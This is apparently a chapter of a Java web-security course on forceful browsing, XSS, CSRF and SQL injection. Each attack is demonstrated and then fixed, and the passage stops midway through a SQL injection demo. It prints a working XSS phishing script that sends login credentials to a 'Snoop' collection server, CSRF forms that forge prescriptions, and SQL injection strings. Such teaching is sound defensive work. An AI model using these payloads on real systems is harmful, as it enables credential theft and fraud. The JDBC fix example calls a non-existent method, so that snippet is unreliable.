
CHAPTER 3 

COMMON WEB ATTACKS 
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OBJECTIVES 

After completing “Common Web Attacks,” you will be able to: 

 Recognize and correct XSS vulnerabilities in web application 
controllers and views. 

 Avert forceful browsing attacks, especially those based on 
predictable resource locations. 

 Use synchronizer tokens to prevent CSRF attacks. 

 Use JDBC PreparedStatement and JPQL query parameters 
to stay safe from SQL injection attacks and JPQL injection 
attacks. 

 Apply best practices including 

 Output escaping 

 Session timeouts 

 Careful cookie management 
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Single Points of Decision 

 With the details of container-based security and APIs 
understood, in this chapter we’ll move into more design-level 
security issues. 

 There are many attack vectors that are still viable once an 
application has implemented a sound authorization and 
authentication policy and is using secure session management. 

 These require careful consideration throughout the development 
cycle, from requirements to testing. 

 First off, it’s wise to design an application such that security 
decisions can be made at single points in the workflow, rather 
than at multiple points spread around the application. 

 We speak of policy enforcement points, or PEPs, as the points at 
which security is enforced. 

 This is distinct from the policy decision point, or PDP.  

 The PEP delegates to the PDP. 

 For example, a servlet may call a method on an authorization 
utility class: the servlet is the PEP, and these are necessarily 
scattered about the presentation tier; but the PDP is centralized. 

 A single PDP – for a specific piece of security logic – makes for 
a single point of maintenance. 

 Multiple points of maintenance are never good things in software 
development, but the risk is especially high when dealing with 
security implementations. 

 Don’t set yourself up for a scenario by which a developer tweaks 
the decision-making in one place but leaves it as it was in another. 
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Defense in Depth 

 After a lengthy study of authentication and authorization 
practices, it might be tempting to take a few deep breaths and 
go back to the usual business of application development. 

 We’ve locked down resources so they’re only accessible to 
authentic users in appropriate roles. So we’re safe, right? 

 But here we’re reminded of the principle of defense in depth. 

 Yes, we’ve made a great start at securing the front door of the 
application; but we can’t just trust that solution and move on. 

 Not all credentials are safe: what if a hacker cracks a password? 

 Not all authentic users are truly trustworthy: consider the 
disgruntled employee, “social engineering” scenarios, and some 
crafty ways of getting the user to do bad things unwittingly, such 
as XSS and CSRF. 

 Not every request from the user is really authored by the user: we 
have to admit the possibility of request forgery. 

 As a way of studying secure application design, we’ll consider a 
handful of common attacks on web applications, and learn 
what sorts of countermeasures we can implement. 
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Attacks and Countermeasures 

 The bulk of this chapter is organized in sections, each section 
treating a common attack vector against web applications. 

 For each we describe the attack, give examples, and then 
discuss possible countermeasures. 

 Major hacks thus covered are: 

 Forceful browsing and parameter tampering 

 Cross-site scripting or XSS 

 Cross-site request forgery or CSRF 

 SQL injection and other injection attacks 
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Forceful Browsing 

 The practice of forceful browsing (sometimes called forced 
browsing) involves making requests to application URLs in 
ways not contemplated in the application’s design. 

 This can be simply trying to hit URLs out of sequence, 
perhaps to force error conditions.  

 Synchronizer tokens – issued as part of each response page, and 
then checked in each subsequent form submission – can severely 
cut down on this practice. 

 Directory browsing is a powerful tool for exploring the 
complete file image of a web application, and information 
gained in this way can lead to deeper probing of the 
application. 

 Fortunately, though many servers support directory browsing by 
showing clickable HTML directory listings on request, this is no 
longer the default setting for most, and if it is it can simply be 
turned off. 

 Predictable resource locations can give a hacker – or even a 
curious but well-intentioned user – easy access to information 
that shouldn’t be available to that person. 

 More care is required here at the design level. 

 Don’t generate sequential URLs or URL tokens, that can easily 
be manipulated up or down the sequence to arrive at other, 
unrelated resources. 

 Apply resource-level security to generated resources. 
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Predictable Resource Locations 

 We’ll explore a predictable-location vulnerability latent in 
Health_Step4, and then see how we can fix it. 

 The completed demo is in Health_Step5. 

1. Build and deploy the application. 

2. Log in to the application as burgess/CAVEman and make an 
appointment with one of the doctors: 

http://localhost:8080/Health 
 

 

DEMO 
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Predictable Resource Locations 

3. When you click Make Appointment, you see an appointment 
reminder as a newly-generated web page. 

 

 The page has been generated to, and the browser has been 
redirected to, the following URL, which is unique and can be 
addressed again later, so that the patient can bookmark it: 

http://localhost:8080/Health/appt/3 
 

 If you’ve generated any reminders since populating the schema 
using PrimeWithData, the URL might be 4, 5, 6, etc. 

4. Now ... does the number in the URL strike you as randomly 
generated, or hard for someone to guess? 

DEMO 
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Predictable Resource Locations 

5. Let’s say Thelma Burgess is curious about this, and tries changing the 
number from 3 to 2: 

 

 OOPS.1 

 There are two problems here, and fixing either of them would 
prevent this trivial hack: 

 Appointment reminder URLs are sequential, so it’s child’s play to 
guess at other valid URLs once you’ve seen one. 

 Despite our good efforts in the previous chapter, we have weak 
authorization over appointment reminders: any patient can see 
any reminder, even if it’s not for him or her. 

 We’ll fix both of these now ... 

                                                       
1 A vulnerability very much like this one, but involving generated PDFs showing financial summaries, 
occurred a few years ago on the site of a large bank. 

DEMO 
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Predictable Resource Locations 

6. In Health_JPA, take a look at data/create_db.sql and/or 
src/cc/health/Appointment.java. 

 See that the ID is generated as an identity column – as all of our 
IDs are – and that there is a field, random, that is currently 
unused: 

CREATE TABLE appointment 
( 
  id INTEGER GENERATED ALWAYS AS IDENTITY, 
  random INTEGER, 
  patient_id INTEGER NOT NULL, 
  doctor_id INTEGER NOT NULL, 
  ... 
 
7. Open src/cc/health/dao/DAO.java and find the makeAppointment 

method. So far this is a simple find method that hands us back a 
newly-fetched Appointment entity. 

8. At the top of the method, declare a SecureRandom generator, and 
use it to populate the random property of the appointment: 

  public void makeAppointment  
    (Appointment appointment) 
  { 
    final SecureRandom generator =  
      new SecureRandom (); 
    appointment.setRandom  
      (Math.abs (generator.nextInt ())); 
    ... 

DEMO 
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Predictable Resource Locations 

9. Now, add a second parameter to the getAppointment method: 
  public Appointment getAppointment  
    (int ID, int random) 
 
10. At the bottom of this method, assure that the retrieved Appointment 

will only be returned if its random property matches the given value: 
    ... 
    return result != null &&  
      result.getRandom () != null && 
      random == result.getRandom () 
        ? result : null; 
  } 
 
11. Open src/cc/health/web/MakeAppointment.java, and change the 

way it sets up the confirmation number in the redirect URL. The idea 
is to synthesize a public identifier from the actual primary key and the 
random value, and then to use that instead of just the ID: 

    ... 
    long confirmation =  
      (long) appointment.getId () << 32 |  
        appointment.getRandom (); 
    response.sendRedirect (request.getContextPath () 
      + "/appt/" + confirmation); 
  } 
 

 This gives us easy primary-key access in the database (and 
guaranteed uniqueness) along with an un-guessable number. 

DEMO 
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Predictable Resource Locations 

12. Now open src/cc/health/web/GetAppointment.java. This is the 
servlet that handles all /appt/* URLs, and you can see that it won’t 
compile anymore, thanks to the change of signature in the DAO’s 
getAppointment method. 

13. Replace the ID variable with a confirmation: 
    int ID; 
    long confirmation; 
 
14. The servlet parses the URL to get the final token. This used to be the 

simple ID, but now it will be the composite confirmation number. 
Parse accordingly: 

    ID = Integer.parseInt 
    confirmation = Long.parseLong  
      (tokens[tokens.length - 1]); 
 
15. Now you’re in a position to provide both of the arguments required 

by the DAO: 
    Appointment appointment = dao.getAppointment 
      ((int) (confirmation >> 32),  
       (int) confirmation); 
 
16. When setting the request attributes, use the confirmation value 

instead of the ID for the “confirmationNumber” shown on the page: 
    request.setAttribute  
      ("confirmationNumber", confirmation); 

DEMO 
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Predictable Resource Locations 

 So we’ve incorporated random numbers in the URLs, which 
should make them sufficiently hard to guess; the resource 
locations will, literally, no longer be predictable. 

 But they could still be compromised in other ways. Looking 
over shoulders, browsing history, etc. 

 That calls for more aggressive authorization ... 
17. Still in GetAppointment.doGet, after calling the DAO to get the 

entity and before setting request attributes, check that the caller is 
authorized to see this information. 

 They can be a doctor, nurse, or clerical staff. 

 Or, they can be a patient – but specifically the patient for whom 
the appointment has been made. So, if none of those conditions 
can be met, we send an HTTP 403: 
... 

    Patient patient = (Patient)  
      request.getSession () 
        .getAttribute (Attributes.PATIENT); 
    if ((patient == null || patient.getId ()  
        != appointment.getPatient ().getId ()) 
      && !request.isUserInRole ("doctor") 
      && !request.isUserInRole ("nurse") 
      && !request.isUserInRole ("clerical")) 
    { 
      response.sendError  
        (HttpServletResponse.SC_FORBIDDEN); 
      return; 
    }  
         
    request.setAttribute (...); 

DEMO 
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Predictable Resource Locations 

18. Build and test: go through the same scenario as before. Now, the 
reminder page comes up at a URL such as: 

http://localhost:8080/Health/appt/3054155792 
 

 So, for one thing, good luck guessing any other reminder URLs! 

 And, if anyone happens to come across this URL who shouldn’t be 
able to read the page, just let ‘em try ... 

19. Copy the actual URL in your browser’s location bar to the clipboard. 

20. Close and re-open the browser, and paste the URL into the location 
bar again. 

21. When challenged for a login, use beard/password ... 

 

22. Try again as the correct patient, and you’ll get in. 

23. Try again as a doctor or nurse, and you’ll get in. 

DEMO 
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Cross-Site Scripting 

 Generally, XSS refers to the injection of scripts into user inputs 
that eventually execute (and do their damage) client-side. 

 There are three major categories. 

 In local or DOM-based XSS, a user opens a malicious web page 
that uses scripts to open a page on the user’s own machine, 
injecting scripts into that local page. 

 In reflected XSS, a user visits a vulnerable site that carelessly 
echoes a user input to a response page. 

 In persistent XSS, malicious scripts are submitted by a user and 
stored on the server, to be downloaded by one or more users, at 
which time the scripts carry out attacks. 

 The first is less common and browser-specific; the last is very 
dangerous but mostly a problem for message-board-style sites. 

 We’ll focus on reflected XSS as the most common problem for 
business web applications. 

 But note that all XSS attacks rely on at least two things: 

 Voluntary action by an unwitting user 

 Failure to prevent direct reproduction of HTML markup where 
simple strings were expected 

OWASP 

#3  
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Reflected XSS 

 Let’s look at a typical reflected XSS attack. 

 
 The attacker sends a user an e-mail that prompts the user to log in 

to a secure website. (There’s our unwitting user.) 

 The e-mail text often tries to convince the user that there’s a 
security problem already, and that the user must log in to take 
some action to stop further problems or reset the account. 

 The link that the user clicks looks benign, but it actually sends 
unexpected request parameters that carry scripts. 

 The web application’s response includes one or more of the 
request parameters, verbatim, in the HTML head or body. There’s 
our direct reproduction of HTML markup. 

 The scripts execute and gain some sort of control over the 
response page, and often steal information when the user next 
submits a form: password, session key, PIN, etc. 

 Reflected XSS is especially potent because the user may carry 
out the whole scenario without suspecting anything – even after 
a username and a password has been stolen, everything looks 
normal and genuine. 

Browser 

User 

Attacker

Attacker’s 
Server

Script Login page

Credentials

Credentials

Server 
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How Dangerous is XSS? 

 Cross-site scripting has been well publicized as a security threat 
(thank you, OWASP!) and many parties have implemented 
countermeasures. 

 Major web browsers have developed various logic to prevent 
cross-site attacks. 

 Chrome and Safari have an “XSS auditor” that will compare 
scripts found in a request with scripts found in the immediately 
ensuing response, and will refuse to execute them. 

 FireFox and Safari are quite aggressive about denying all forms of 
cross-site requests – that is, requests made by JavaScript to hosts 
other than the originating host for a given page. 

 Internet Explorer originated the httpOnly flag for cookies, making 
it possible to protect the HTTP session key from the prying eyes of 
a malicious script; other major browsers have adopted this feature.  

 Web servers can be cautious about XSS, too. 

 Apache’s mod_security implements server-side rule sets to foil 
patterns common to cross-site attacks (and other attack styles, 
including SQL injection). 

 But none of this relieves us as web developers of culpability, 
should one of our applications wind up participating in an XSS 
attack. 

 You can point your finger at the silly user for clicking a malicious 
link, but if your application played a role in something like the 
compromise of the user’s password, you’re not exactly standing on 
the high moral ground. 
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Vulnerable Authentication Forms 

 You’ll remember the XSS hole in our initial version of the 
LandUse application, and this same attack vector is feasible 
against the application in Login_DIY_Step0. 

 This is an especially poor “DIY” implementation of authentication 
and authorization. 

 docroot/index.jsp presents a login form: 
  <p id="errorMessage"  
    style="color: red; font-weight: bold;"  
  >${errorMessage}</p> 
  ... 
  <form action="Authenticate" > 
    <table> 
      <tr> 
        <td>User name:</td> 
        <td><input id="username" type="text"  
              name="username" /></td> 
      </tr> 
      <tr> 
        <td>Password:</td> 
        <td><input id="password" type="password"  
              name="password" /></td> 
      </tr> 
      ... 
 

 A login page is the most obvious XSS hole, by the way – but note 
that any page on a website might be vulnerable. 

 Notice, too, the paragraph at the top of the page; this will be blank 
initially but on failed login attempts it will show an error message. 

EXAMPLE 
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Vulnerable Authentication Forms 

 The form action URL is mapped to a servlet that carries out 
authentication – see src/cc/authn/Authenticator.java: 

public void doGet (...) throws ... 
{ 
  if (/* authentic user */) 
  { 
    request.getRequestDispatcher ("success.jsp"). 
      forward (request, response); 
  } 
  else 
  { 
    request.setAttribute ("errorMessage", 
      "Could not log in user \"" +  
        request.getParameter ("username") + 
        "\". Please try again."); 
    request.getRequestDispatcher ("index.jsp"). 
      forward (request, response); 
  } 
} 
 

 What’s interesting here is not so much how we authenticate (trivial 
logic there), but the fact that the error message echoes the 
submitted username directly. 

 Again, this is not great practice for other reasons – we’ll talk about 
error-handling a little later – but it’s just one example of the many 
ways in which web applications echo inputs to response pages. 

EXAMPLE 
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Vulnerable Authentication Forms 

 Build the application and test at the following URL: 
http://localhost:8080/Login 
 

 
 Log in as johnnybgoode/wetrustyou, and get the welcome page: 

 
 Try again, and see that the error message echoes the username that 

we just entered: 

 

EXAMPLE 
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Vulnerable Authentication Forms 

 The XSS hole is available to anyone who recognizes that the 
username parameter could carry a script. 

 In fact, try this interactively, in IE or Firefox: enter the following 
value for the user name: 

whoever<script>alert ("GOTCHA!");</script> 
 

 You’ll see the page rendered up to a point, and a message box with 
your submitted text. Clear it, and the rest of the page will render. 

  
 

 
 

EXAMPLE 
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A Phishing Attack 

 A more damaging attack is implemented in HackerCentral. 

 Run this project on the web server now. 

 Among other things it includes a servlet Snoop that will echo 
all request parameters for certain URLs to the console, so we 
can see it gathering information later. 

 So it plays the role of the “attacker’s server” in the previous 
diagram – even though, for us, predator and prey are running side-
by-side in the same web server. 

 The fully-worked attack is in docroot/XSSHack1.html. 

 This is an HTML page, for ease of use in the classroom, but in the 
real world this content would be sent by e-mail. 

<p>Our software has detected unusual patterns of 
use under your account credentials.  Please click 
<a href="http://localhost:8080/Login/Authenticate 
?username=reactivate<script>function sendIt () { 
var image = new Image (); image.src = 
'http://localhost:8080/Snoop/blank.gif?u=' %2B 
document.getElementById ('username').value %2B 
'%26p=' %2B document.getElementById 
('password').value; } function init () { 
document.getElementById ('login').onclick = sendIt; 
document.getElementById ('errorMessage').innerHTML 
= 'Please review your account activity.'; } 
window.onload = init;</script>" >here</a> to review 
your account activity, and report any unauthorized 
transactions to us immediately at 800-123-4567.</p> 
 

EXAMPLE 
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A Phishing Attack 

 Here’s the script content as it would appear had it been hand-
written into a page: 

 A function sendIt that ostensibly makes a request for image 
content, but is actually sending the user name and password values 
to a separate server: 

  function sendIt ()  
  {  
    var image = new Image ();  
    image.src =  
      'http://localhost:8080/Snoop/blank.gif?u=' +  
      document.getElementById ('username').value +  
      '&p=' +  
      document.getElementById ('password').value; 
  }  
 

 A function init that assigns sendIt as a button-click handler for 
the login form, and also rewrites the error message so the initial 
page seems benign: 

  function init ()  
  {  
    document.getElementById ('login').onclick =  
      sendIt;  
    document.getElementById ('errorMessage') 
      .innerHTML =  
        'Please review your account activity.'; 
  }  
 

 Code that assures that init will run once the page is loaded: 
  window.onload = init; 
 

EXAMPLE 
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A Phishing Attack 

 Open the page in Internet Explorer, to carry out the attack: 
http://localhost:8080/Snoop/XSSHack1.html 
 

 
 Click the supplied link and see the normal login page – but with a 

different “error” message: 

 
 Enter any credentials, good or bad, and see either the success page 

or the normal login page with the real error message. 

EXAMPLE 
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A Phishing Attack 

 If successful, the attack will result in transmission of the user’s 
credentials. 

 Look at the server console, and see that the Snoop application has 
received your user name and password: 

Received u=some_user 
Received p=some_password 
 

 If it failed, it was probably because ... 

 You’re using a browser with an XSS auditor active, because this 
simple form of reflected XSS attack fits the pattern caught by this 
type of browser countermeasure, and the browser will refuse to 
execute the script since it recognizes it from the preceding request. 

 You’re using a browser with cross-site protections, such that 
even if the script were to execute, its attempt to request something 
from a different domain or application context would be quietly 
refused. 

 About five years ago (as of this writing), this same attack would 
have succeeded on a majority of popular browsers. 

 So we see the world coming to grips with XSS, as now this 
simple example fails on just about every browser, with no extra 
effort on the part of the developer. 

 

EXAMPLE 
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Subtler Forms 

 The XSS auditor in Chrome and Safari is not as powerful as it 
may at first appear. 

 The script found in the request and the script found in the 
response must match exactly – down to the character, though it is 
a case-insensitive comparison. 

 Only scripts found in the immediately preceding request will be 
ruled out. 

 We’ll see ways around the auditor in the upcoming XSS lab. 

 The cross-site prohibitions in Firefox and Safari are not 
universal, either. 

 They are for one thing specific to JavaScript. 

 HTML forms can still make cross-site requests – and indeed this is 
a common-enough business practice. 

 We’ll see an XSS attack that works in the upcoming lab, and viable 
CSRF attacks in a later lab exercise. 

 Not all XSS attacks are so simple as the one we just attempted. 

 There may not be a single, coherent script, but rather script 
fragments that are combined in the right way at the right time. 

 There may not be an immediate reflection of the script; instead it 
may be carried in a session attribute, or even “incubated” in a 
database before being brought alive in a response much later. 
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Defeating XSS 

 There are two main ways to stop reflected XSS attacks – both 
essentially interrupt the round-trip delivery of script content: 

 On the way in: validate input values that might be echoed to 
response pages to assure that they contain no dangerous content 

 On the way out: escape the markup characters in an output value 
that’s not supposed to contain markup 

 Either approach would foil the attack we just saw. 

 The former seems simple enough but it’s harder than it might 
seem and is generally a best-effort defense. 

 You can scan for characters and sequences that shouldn’t be in a 
legal value, like <, >, “<script>”, etc. 

 But not every character is actually invalid for every “normal” user 
input: after all, we encourage users to put punctuation characters 
in their passwords! 

 And there are myriad attack vectors here, and many ways to sneak 
script content past the guards. 

 Output escaping is the more reliable technique. 

 Simply identify whether a given dynamic value should be capable 
of producing markup – most shouldn’t. 

 As long as it shouldn’t, just “escape” all markup characters, 
meaning translate a literal < to &lt; and so on. 

 This will cause any reflected XSS content to appear as presentation 
text or otherwise be rendered incapable of executing. 
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Framework Support 

 The most basic layers of the Java web architecture – servlets 
and JSP proper – offer no tools for output escaping. 

 But most higher-level web technology has some sort of escaping 
feature that’s easy to invoke. 

 Dynamic values produced by JSPs can be wrapped in <c:out> 
tags, which have an option to perform character escaping and 
default to doing so. 

 Plug-in utilities for various escaping schemes abound: for example, 
the Jakarta Commons’ StringEscapeUtils class. 

 The Struts web framework offers a utility method to filter output 
content, which can be applied at any point in the request handling 
cycle. (Note however that the Struts framework had a major XSS 
vulnerability for quite a while, the fixing of which was in fact the 
main reason for the 1.2.8 release.) 

 Spring MVC makes output escaping standard and configurable in 
all its tags and components. 

 JavaServer Faces custom tags that can produce page output all 
support output escaping – by default but configurable. 

 XSLT, which is often used to produce HTML pages from XML 
sources, considers output escaping as well. This is important 
because XSLT transforms can accept parameters and Java web 
applications sometimes pass HTTP request parameters to them. 
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Stealing Credit-Card Numbers 

Suggested time: 30-45 minutes 

In this lab you will identify and fix two separate XSS “holes” in an 
online shopping application. The application already has a user 
database and uses FORM login, with an option to create a new 
account at purchase time, and authorization constraints over the 
checkout and purchasing process. 

The page flow is as follows, showing just the JSPs and not the 
servlet URLs and redirects and forwards to JSPs: 

 

The vulnerable information in this case is not the user’s password, 
but rather a credit-card number that may be supplied on the final 
page when completing a purchase. You’ll see how scripts can find 
their way to this page and be activated, implement 
countermeasures, and re-test to confirm security. 

Detailed instructions are found at the end of the chapter. 

shop.jsp

order/ 
checkout.jsp

cart.jsp order/ 
confirm.jsp 

register.jsp

Login 

LAB 3A 
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Cross-Site Request Forgery 

 Related to forceful browsing is a much sneakier type of attack 
known as cross-site request forgery, or CSRF (sometimes 
pronounced “sea-surf”), or less commonly XSRF. 

 CSRF has a lot in common with XSS: 

 It requires a careless and/or gullible user to click a link in an 
email or on a foreign site. 

 They are both forms of “confused deputy” attacks – an evocative 
term that means that the user’s browser is enlisted to do things 
that it shouldn’t, without the knowledge or consent of the user. 

 But, in a CSRF attack, the user must already be logged in to the 
target application, and client-side JavaScript is not payload. 

 Rather, simple request forgery is aided by the fact that browsers 
will send credentials (under HTTP BASIC or DIGEST) and session 
cookies (in all cases) with requests from any open window or 
tab. 

 Anyone can forge a request to a URL; but CSRF sends that forged 
request as part of an authentic user session. 

OWASP 

#8  
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Sharing the Session Key 

 “CSRF” describes any attack that attempts to insert a forged 
request into an ongoing, valid conversation. 

 The most common form of this for interactive web applications 
takes advantage of the willingness of the browser to share 
credentials and session keys among multiple tabs or windows. 

 
 This is a feature that most users appreciate, because it lets the 

user open multiple views on the same application, without 
needing to log in for each new view. 

 It is also a vulnerability, because this courtesy is usually extended 
to any open tabs that make a requests to the same domain. 

 A link on a malicious web page can trigger a request to a server 
other than the one the user might think they are calling – a/k/a a 
cross-site request. 

 The browser will escalate the privileges of that request by 
affixing the session key, active cookies, and/or HTTP 
BASIC/DIGEST headers to it. 

 From there, it is devilishly hard for the application to recognize a 
malicious request, or to prevent such a request from being 
processed as if genuine. 

Browser 

Attacker’s 
Server

 
Server 

User 

Session

Valid page 

Questionable 
page 
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How Dangerous is CSRF? 

 Think of risk as probability multiplied by stake. 

 Which would you prefer: if every one of millions of incoming 
HTTP requests posed a 1% chance of costing you $100 – or a 
0.01% chance of costing you $1,000,000? 

 CSRF is of that category of threat that is highly unlikely, but 
very costly if successful. 

 CSRF is difficult to carry off, since it requires that the user already 
be interacting with a specific target site when induced to click on 
the bogus link. 

 As mentioned earlier, browsers have introduced protections 
against cross-site requests, farther worsening the odds. 

 But, in that narrow window of opportunity, one can perpetrate 
really damaging attacks, since the attacker is, as far as the target 
application knows, acting as the authentic user. 

 With JavaScript, especially, a hacker can basically emulate a 
web browser:  

 Send POSTs, and not just GETs 

 Send multiple requests in a scripted run through an application 
use case 

 Parse responses for values to be included in later requests 

 Also, the level of exposure goes up considerably when using 
technology that relies on cross-site redirects. 

 Single sign-on, anyone? 
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Forging Prescriptions 

 Build and deploy Health_Step5, or use your completed Health 
application from this chapter’s predictable-URLs demo. 

 There are two CSRF attacks ready to launch from 
HackerCentral. 

 Both will require that a doctor be logged into the application 
before triggering the forged request. 

1. Visit the application and log in as dtravis/sadlyECSTATIC. 

2. Open a second tab in your browser. 

3. Visit the following URL: 
http://localhost:8080/Snoop/CSRFHack1.html 
 

 

EXAMPLE 
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Forging Prescriptions 

4. View the page source, and search for the string “xhr.send”. 

 You’ll see the critical moment in the CSRF hack you’re about to 
test, where Ajax code fires off a forged request: 

xhr.send ("patient=1&medication=Pills& 
  dosage=1&frequency=Daily&refills=3& 
  notes=&prescribe=Send+Prescription"); 
 
5. Scroll down to the second entry in this hypothetical doctor’s forum, 

and click the link embedded in it: 

 

 Nothing seems to happen, and the user may just write it off as a 
bad link. But, take a look at the server console and you’ll see this 
(or something like it – the prescription number is random): 

Sending prescription 353488617 to the pharmacy ... 
 

 This shows us that the forged request to prescribe medication 
succeeded. 

EXAMPLE 
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Forging Prescriptions 

 Now this is a tricky attack to carry off, and could easily misfire 
for lots of reasons. 

 For one thing, Firefox and Chrome only allowed it because both 
Health and Snoop applications are at localhost:8080. 

 But the possible damage is almost unbounded, depending on 
the request itself and the nature of the target application. 

 The second attack is less subtle, but more reliable. 
1. Again, with a doctor logged into the Health application, open a 

second tab. 

2. This time navigate to 
http://localhost:8080/Snoop/CSRFHack2.html 
 

 This time we have a fake survey page. As you can probably guess, 
neither the questions nor the answers matter, and this page could 
be pretending to be anything. 

 

 The point is just to get you to click the Submit button. 

EXAMPLE 
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Forging Prescriptions 

3. You view the page source and see what’s going on. 

 There’s a simple HTML form – but notice that the action is a 
cross-site URL, and an awfully familiar one at that: 

<form action= 
  "http://localhost:8080/Health/PrescribeMedication"  
  method="post" 
> 
  ... 
 

 Below, you can see the hidden inputs that will fill in the forged 
request – almost identical to the one in the first attack: 

  <input type="hidden" name="patient" value="31" /> 
  <input type="hidden" name="medication"  
    value="Pills" /> 
  <input type="hidden" name="dosage" value="1" /> 
  <input type="hidden" name="frequency"  
    value="Daily" /> 
  <input type="hidden" name="refills" value="3" /> 
  <input type="submit" value="Submit" /> 
</form> 

EXAMPLE 
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Forging Prescriptions 

4. Click Submit in the browser, and see that you’ve succeeded in fooling 
the application into another prescription: 

Sending prescription 1958770569 to the pharmacy ... 
 

 And now you see what we mean by not so subtle. The user would 
surely realize something had gone very wrong at this point – 
though in some scenarios perhaps the damage would already be 
done: 

 

EXAMPLE 
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Countermeasures 

 There are a handful of popular CSRF countermeasures. 

 Try to gather as much form input as possible into session 
attributes, so that in later pages of a multi-page workflow these 
values cannot be modified by a forged request. 

 Add a confirmation page to the workflow, right before carrying 
out the requested actions. This can be a good idea on its own, for 
non-technical reasons. 

 Require re-authentication as part of highly sensitive actions. 

 Any of these will foil very simple CSRF attacks that use HTTP 
GET requests in simple page links. 

 A single forged request will not have the opportunity to change 
certain key values, or will only succeed in showing the user the 
confirmation page – which will be confusing at first but then will 
alert the user to the attempted hack. 

 But, with JavaScript and other tools and techniques, a 
malicious link can trigger a sequence of requests of any 
complexity, and get past these sorts of barriers. 

 So these techniques “raise the bar,” but don’t eliminate the threat. 

 Re-authentication may be the exception – but of course there 
are usability concerns with asking users to log in repeatedly, so 
this is a tool best used sparingly. 
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Synchronizer Tokens 

 A more robust and general defense involves an additional token 
that is written into forms and links in response pages. 

 
 The basic vulnerability is that the browser will automatically send 

credentials, keys, and other proofs along with a request. 

 To foil CSRF, then, we need a credential or token that will not 
automatically be passed around by the browser. 

 So, for each HTTP response – starting right away with the home 
page or even a login form – generate a random number and 
write it into all links and forms on that page. 

 Check for that number in the request parameters of the next 
HTTP request, and if it doesn’t, it’s considered fraudulent. 

 This is no mean trick, and the container can’t help you. 

 The usual implementation uses servlet filters, and that part’s not 
too painful. 

 Views (JSPs, servlet-generated content, etc.) must participate, and 
every form and link must assure that the token will be sent as a 
request parameter. 

 Miss one, and you’ll get false-negative outcomes in normal use. 
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Forging Prescriptions 

Suggested time: 45 minutes 

In this lab you will implement partial sequence protection for the 
process of prescribing medication. You’ll create two servlet filters: 
one to generate a token for the current response, and one to check 
that token against the incoming request. You’ll configure those 
filters and modify one of the JSPs to put the token in place for the 
critical sequence that is under attack. 

This will foil the CSRF attacks just demonstrated, although more 
work would be required to make the application really bulletproof. 

Detailed instructions are found at the end of the chapter. 

LAB 3B 
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Redirects and CSRF 

 The other major flavor of CSRF attack takes advantage of 
unvalidated redirects. 

 

 Whenever an application redirects the user to a third party, and 
then expects an “answer” from that party in the form of a 
succeeding redirect, there is the threat that a malicious request will 
jump into the conversation. 

 This is increasingly common as web applications federate with 
other applications and RESTful web services, and delegate 
responsibilities for things like authentication (e.g. SAML SSO) and 
authorization (OAuth). 

 Any such redirect designs should be scrutinized for security 
vulnerabilities – including the possibility that the redirection logic 
itself will be misused to send requests in unexpected directions. 

 But especially there should always be an anti-CSRF synchronizer 
token – which, a bit perversely, is commonly called the CSRF 
token – issued by the initial redirector and then echoed by the 
third party in its redirect. 

Server Third Party 

Browser 

Attacker’s 
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JSF and CSRF 

 JSF applications are generally safe from CSRF applications. 

 This is because, for reasons of its own, the JSF framework will 
put view IDs and other session-specific tokens in hidden input 
fields in each new input form. 

 We sometimes say that JSF is “highly stateful.” 

 These are used to look up view definitions on the server as part 
of JSF’s “restore-view” phase. 

 But they have the happy effect of acting as synchronizer tokens, 
and thus foiling CSRF. 
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SQL Injection 

 One particularly bold and spectacular attack through user 
inputs is the injection attack. 

 Injection is possible wherever user inputs are plugged into code 
that’s then interpreted dynamically. 

 But the most well-known injection attack comes via SQL: the 
hacker uses escape characters to insert additional logic into a 
SQL statement, where only a literal string was expected. 

 So where we expected to execute something like this ... 
SELECT * FROM user  
  WHERE name='fred' AND pwd='pwd'; 
 

 ... we actually send this ... 
SELECT * FROM user  
  WHERE name='fred';--' AND pwd=''; 
 

 ... or this: 
SELECT * FROM user  
  WHERE name='dontknow' AND pwd='' OR 'x' = 'x'; 
 

 The impacts of SQL injection might include illegal login, loss of 
data, compromise of privacy, and denial of service. 

 And, if we can do these nasty things to a SQL query, you can 
imagine the damage if an insert, update, or delete were hacked. 

 SQL isn’t the only injectable language, either. 

 See the writeup of OWASP #2 for an eye-opening list that includes 
XPath, XSLT, shell commands, and even LDAP. 

OWASP 

#1  
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JDBC and PreparedStatement 

 Generally, injection attacks exploit code generated by the 
application and then compiled or interpreted elsewhere. 

 The best countermeasures are ones that impose structure on 
the generated code – often by compiling the code in advance 
and then allowing dynamic values only as string or numeric 
arguments. 

 For SQL, if your application uses JDBC, this means the best 
defense is to be vigilant about using PreparedStatements. 

 This is a good idea anyway, for performance reasons. 

 But, more to the point, when you call 
connection.prepareStatement, you are compiling your SQL 
ahead of time, and allowing only certain parts of it to be provided 
dynamically based on user input. 

 These parameters can then be replaced just before executing the 
query – but they cannot alter the structure of the query itself. 
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JDBC and PreparedStatement 

 Simple string-building is often easier, but any code like the 
following should raise red flags on review: 

Connection conn = dataSource.getConnection (); 
Statement stmt = conn.createStatement (); 
String query = "select * from user where name = '"  
  + username + "' and password = '"  
  + password + "'"; 
ResultSet rs = stmt.executeQuery (query); 
 

 This code would be refactored like this: 
Connection conn = dataSource.getConnection (); 
Statement stmt = conn.prepareStatement  
  ("select * from user " + 
   "where name = ? and password = ?"); 
stmt.setParameter (1, username);  
stmt.setParameter (2, password);  
ResultSet rs = stmt.executeQuery (); 
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A Login Injection Attack 

 In Login_DIY_Step1, we’ll get our first look at a more robust 
“DIY” security implementation. 

 A filter manages authentication status using session attributes, 
and on first request to a protected URL pattern it intervenes and 
sends a login page instead of the requested resource – much like 
FORM authentication as managed by the container. 

 It then reads query parameters from the form, authenticates by 
querying a user database, and either feeds the form back for a retry 
or continues to the originally-requested URL. 

 Another filter implements role-based authorization over URL 
patterns, checking the session attribute stored by the first filter. 

 The implementation as we see it so far is reasonably tight. 

 But it is susceptible to simple SQL injection attacks. 

 We’ll see this vulnerability exploited, and then fix it. 

 The completed demo is in Login_DIY_Step2. 

DEMO 
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A Login Injection Attack 

1. Build and test the application at the following URL: 
http://localhost:8080/Login 
 

 

2. Entering the following string for the password (username can be 
blank): 

' or 'x' = 'x 
 

 

3. We’re in. 

DEMO 
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A Login Injection Attack 

4. Open src/cc/authn/UserDB.java. This is a JDBC DAO for the 
underlying user database. See the authenticate method, which 
carries out a garden-variety SQL query – but naively so, because it 
uses simple string-building to create the user/password query: 

rs = stmt.executeQuery  
  ("select roles.rolename from users " + 
   "inner join roles on " + 
     "users.username = roles.username " + 
   "where users.username='" + username +  
     "' and users.password='" + password + "'"); 
 
